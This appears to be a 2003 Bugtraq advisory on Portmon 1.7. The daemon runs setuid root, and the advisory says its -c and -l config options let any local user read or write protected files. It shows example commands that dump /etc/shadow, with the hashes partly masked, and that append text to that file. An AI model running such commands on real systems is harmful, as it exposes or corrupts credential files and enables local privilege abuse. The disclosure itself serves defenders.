Portmon file arbitrary read/write access vulnerability

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To: bugtraq@securityfocus.com
Date: Tue, 17 Jun 2003 14:47:40 -0700

Package: Portmon
Auth: http://www.aboleo.net/
Version(s): 1.7 (prior ?)
Vulnerability: File arbitrary read/write access
vulnerability

Portmon is a network service monitoring daemon
(http://www.aboleo.net/software/portmon/).
"In order to use ping support, Portmon must run as root
or be installed setuid with root permissions
due to the fact that it must open up a raw socket."
The product suffer from a security problem that allows
any local user to read/write protected files on the system.
This is dude to a hole in the way the program handles
loading of two configuration files: host file/log file.

Example (read):

[lucae@linux lucae]$portmon -c /etc/shadow

Unable to resolve hostname
root:$1$nsqR6sX$ItXXXXXXXXXXXXXXXXX.:12172:0:99999:7:::
Unable to resolve hostname bin:*:12172:0:99999:7:::
Unable to resolve hostname daemon:*:12172:0:99999:7:::
Unable to resolve hostname adm:*:12172:0:99999:7:::
Unable to resolve hostname lp:*:12172:0:99999:7:::
Unable to resolve hostname sync:*:12172:0:99999:7:::
Unable to resolve hostname shutdown:*:12172:0:99999:7:::
Unable to resolve hostname halt:*:12172:0:99999:7:::
Unable to resolve hostname mail:*:12172:0:99999:7:::
Unable to resolve hostname news:*:12172:0:99999:7:::

<snip>

Example (write):

[lucae@linux lucae]$portmon -l /etc/shadow
fopen: No such file or directory
Failed reading config file hosts

[root@linux root]#cat /etc/shadow
<snip>

lucae:$1$w3IGpzV4$i8WcXXXXXXXXXXXXXXXX/:12172:0:99999:7:::
nessus:$1$XSaW3b5e$WWzXXXXXXXXXXXXXXXX.:12183:0:99999:7:::
test:$1$6r5/OoES$RX3OXXXXXXXXXXXXXXXX/:12200:0:99999:7:::
(Mon Jun 16 01:40:17 2003) - Portmon started by user
lucae //line added

[root@linux root]#

Luca Ercoli luca.ercoli[at]inwind.it

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